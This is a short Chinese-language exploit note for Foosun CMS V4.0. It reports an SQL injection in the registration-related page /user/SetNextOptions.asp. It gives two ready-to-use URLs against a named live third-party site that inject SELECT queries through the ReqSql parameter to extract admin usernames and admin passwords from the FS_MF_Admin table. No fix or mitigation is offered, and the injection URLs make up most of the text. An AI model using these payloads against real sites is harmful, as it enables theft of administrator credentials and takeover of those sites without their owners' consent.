影响版本：V4.0
官方地址：www.foosun.net

漏洞类型：SQL注入
漏洞描述：风讯的注册页面…/user/SetNextOptions.asp存在SQL注入漏洞
 

利用方法：
构造注入

http://www.176ku.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin

“admin_name” 管理用户名数据库表

http://www.176ku.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin

“admin_pass_word” 管理密码数据库表